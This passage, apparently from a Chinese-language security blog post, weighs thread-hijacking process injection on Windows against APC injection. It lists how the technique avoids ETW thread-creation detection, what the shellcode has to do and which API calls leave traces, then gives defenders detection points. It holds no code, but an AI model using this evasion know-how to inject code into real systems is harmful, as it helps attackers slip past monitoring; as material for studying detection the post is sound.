✅ 绕过且可靠

线程劫持的优势:

  • 不创建新线程 → 绕过 ETW
  • 立即执行 → 不依赖 Alertable
  • 成功率高 → 强制劫持

优势与局限

优势

  1. 不创建新线程

    • 避免触发线程创建事件
    • ETW 检测器无法检测
  2. 执行时机可控

    • 立即执行,不依赖 Alertable 状态
    • 成功率远高于 APC 注入
  3. 比 APC 注入更可靠

    • 强制劫持,不等待线程行为
    • 适用于所有类型的进程

局限

  1. 需要正确的 Shellcode

    • 必须保存/恢复寄存器
    • 必须跳回原始 RIP
    • 如果 Shellcode 有 bug → 线程崩溃 → 进程崩溃
  2. 暂停线程的风险

    • 如果劫持了持有锁的线程 → 可能死锁
    • 如果暂停了关键线程 → 目标进程可能卡顿
  3. 更容易被检测

    • SuspendThread 调用可被监控
    • SetThreadContext 修改上下文可被审计
    • 可执行内存页(PAGE_EXECUTE_READ)更可疑
  4. 仍有跨进程操作痕迹

    • 仍然需要 OpenProcess(高权限访问)
    • 仍然需要 VirtualAllocExWriteProcessMemory
    • 仍然需要 VirtualProtectEx(修改内存属性)

防御者的视角

虽然线程劫持绕过了线程创建检测,但并非无迹可寻。

可能的检测点:

  1. 监控 SuspendThread 调用

    • 通过 ETW 或 API Hook 监控
    • 检测跨进程的线程暂停行为
  2. 监控 SetThreadContext 调用

    • 检测 RIP 寄存器被修改
    • 特别是修改为动态分配的内存地址
  3. 检测内存属性变更

    • 监控 VirtualProtectEx 调用
    • 检测从 PAGE_READWRITE 改为 PAGE_EXECUTE_READ
  4. 扫描可疑可执行内存

    • 定期扫描进程内存
    • 识别 MEM_PRIVATE + PAGE_EXECUTE_* 的区域
    • 与模块列表比对,找出无归属的代码
  5. 行为关联分析

    • 关联”进程访问 + 内存分配 + 内存写入 + 属性修改 + 线程暂停 + 上下文修改”
    • 构建完整的攻击链时间线

互动时间

💬 评论区讨论:

  1. 你认为 Shellcode 中还有哪些寄存器需要保存/恢复?为什么 RAX 和 RCX 是必须的?
  2. 如果劫持了主线程会发生什么?有什么风险?
  3. 线程劫持 vs APC 注入,你会选择哪个?为什么?

By UD2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注